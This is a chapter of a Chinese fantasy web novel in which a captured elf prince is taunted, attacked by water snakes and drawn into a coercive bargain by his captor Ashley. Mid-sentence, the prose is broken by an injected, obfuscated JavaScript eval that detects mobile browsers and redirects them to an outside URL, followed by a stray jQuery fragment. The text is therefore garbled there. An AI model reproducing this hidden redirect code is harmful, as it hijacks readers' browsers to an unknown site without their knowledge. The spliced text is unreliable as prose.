等到艾伦意识回笼的时候,天已经完全暗下来了。
车厢内亮着淡黄的光,金发少年端坐在靠窗的桌前,手里握着的羽毛笔沙沙作响。
“果然是你。”
艾伦的眼睛还有些微的模糊,双手被一圈透明的水流紧箍身后,脸颊贴着软垫,上半身极不舒适地侧卧在长椅上。
“我真傻,把你当做不谙世事的少年,还自作多情收下你送我的‘大礼’。”艾伦扬起下巴,咬牙微笑。
“不喜欢我亲手为你调配的噬目剂吗?”希礼停笔侧身,正对着他,“作为回礼,剂量并不算高,大概一个小时内视力就能完全恢复。”
艾伦愣了两秒才反应过来,希礼在追究他逃走前故意余留大衣的事。
“您对我似乎有点误会。”他咬唇狡辩道:“那日我正是不想给您带来更多的祸患,才特意不把大衣带走的。”
“我看起来很好骗吗?”
“大人,我没有害您的理由。”艾伦垂眸掩去眼底的算计,“那日若非您出手相助,我早就惨遭毒手,留下大衣也只是想为您留下物证,以免日后查起来,被人污蔑您在大衣中为我准备了武器。“
“真没想到王子殿下如此体恤他人,“希礼倾身向前挑起他的下巴,“爱兰公主想必会非常满意。“
艾伦脸色微变,“我不想成为任何人的床宠。”
“这不是你想不想的事。”希礼嘲弄道。
一个从牢狱溜走的异族俘虏被重新捉拿归案,不被立即处死已经是王子的身份在起效。
“你最好祈祷公主还看得上你,”她摩挲着对方瘦削的下巴,“否则,国王陛下一定会杀了你。”
“因为我的出逃挑衅了她的尊严?”
“你心里有数就行。”
“再怎么说,我也是精灵一族的王子。想杀我,你们做好与我族正式开战的准备了吗?”
他的脸颊涨得通红,朝旁侧用力偏去,却仍没能摆脱希礼的钳制。
希礼掰正他的下巴,直视他暗红的眼瞳,冷冷道:“你的母妃不过是血族用来与精灵族联姻的工具,自生下你后,就再没在精灵王跟前露过面。”
艾伦继承母妃倾城的容貌,又因为这张相似的面孔而不受精灵王待见。
“你的母妃学不会讨好,你也不会?”希礼压进身位,几乎贴着艾伦的面颊嘲讽,“猜猜看,为什么我要时隔半个月才来抓你?”
但凡艾伦在精灵王心底留有丁点地位,这半个月都足以派三批使者前来谈判。
然而整个精灵族风平浪静,仿佛什么都没有发生。
艾伦感到坚如磐石的心脏裂开了一道缝隙,让深埋其中的怨恨如洪水般喷涌而出。
他努力克制身体的颤抖,用尽全力作出平静的姿态,“你调查我?”
“我以为会很难,”希礼松开手坐回原位,居高临下地望着他,“没想到你这20年的人生如此乏善可陈。”
不被宠爱,不得器重。
无论取得怎样的成绩,在精灵王面前,都如同一颗灰扑扑的石头,连多看一眼的兴趣都无。
也正因如此,艾伦才会主动请缨参与边防交战。
在他的设想中,他将来会凭着赫赫战功一步步夺得精灵王的信任,就算王位不交予他,也会赐封一个护国大将军。
可现实狠狠给了他一记耳光——
“派你领兵打头阵的布鲁托将军是你三哥的亲舅,”希礼无情地嘲笑,“你怎么会一点防备都没有,甘愿领着十五个人潜伏在最前沿?”
说好的增援迟迟未到,原来并不是大军侧翼受到袭击,而是从一开始就不打算接他回去。
“该说你什么好呢?”希礼摇头叹息,“像小狗一样天真无邪吗?”
“够了!”艾伦的额角暴起青筋,手腕上传来的疼痛唤醒了他残余的理智,“是我愚蠢,中了自己人的阴招,我认了。不过世事无常,你就那么确信我不会东山再起,报今日之仇吗?”
希礼扬起一边眉,显然十分惊讶。
“不论布鲁托那个混蛋动了什么手脚,我离回族仅有一步之遥,是你把我从边界线抓了回来,”艾伦趁势要挟,“你大可以把我上交,不过正如你所说,爱兰殿下对我很感兴趣,假以时日,她欲让我伴她左右,我只需三言两语便能让你……”
“让我如何?”
“轻则毁你仕途,重则害你性命。敢赌吗?”艾伦露出快意的笑。
他很
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341914|199380||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
期待希礼害怕的模样,至少能让他挽回方才丢失的颜面。
希礼如他所愿瑟缩半步,艾伦刚扬起唇角,就触及少年眼底骇人的疯狂。
“太可怕了!”希礼长长地叹息。
一切发生在电光火石之间,艾伦来不及作任何反应,只觉手腕一松,原用来锁住手腕的水流瞬息化成两条水蛇,灵活地缠着他的身子一路上爬,对着他脆弱的脖颈狠狠咬去……
“啊……!”他痛叫一声,温热的血从颈侧淌了出来。
她这是想直接杀了他!
“不!求你!”艾伦惊恐地瞪大双眸,挣扎中摔下了长椅,膝盖磕出巨大的声响。
来不及呼痛,他用力拽下缠绕脖颈的水蛇,掌中凝起绿光,生生将它们击成水汽。
“啪啪啪……”
希礼欣赏地鼓掌,“艾伦殿下果然拥有不凡的实力,难怪大放厥词要报复我呢。”
艾伦面色难看,抬手按住仍不断冒血的伤口,咬了咬下唇。
“对不起。”他垂眸低声道,“我只是想刺激你不交出我……我没有别的办法了!我还想报仇,可我的存在一旦被你们国王发现,我就只能含冤而死了!”
最后一句话说出,他猛地扬起头,漂亮的脸颊上交织着愤怒和悲痛。
“你觉得自己还能报仇?”希礼笑了。
“只要你留我一条命,我会用我自己的办法杀了他们的。”艾伦斩钉截铁地道。
希礼没有立马答复。
她一只手撑着下巴,另一只手在桌上来回敲打,雪白的蕾丝手套还没摘下,艾伦看到包裹其中的指甲圆润光滑,四指极具节律地舞动,竟诡异地令他产生了一丝困意。
“我为什么要帮你呢?”少年轻柔而缓慢地询问。
“我……”艾伦努力掀起沉重的眼皮,“我什么都听你的,即便是杀人放火,我都能为你干。”
“我不缺帮佣,更不缺杀手。”
“那我……”艾伦迷茫了。
“傻孩子,跟人谈判,却连自己的筹码是什么都不知道吗?”
希礼不知何时距离他非常近了,他又闻见了那股似有若无的香味。
“你最特别的,就是这具身体啊。”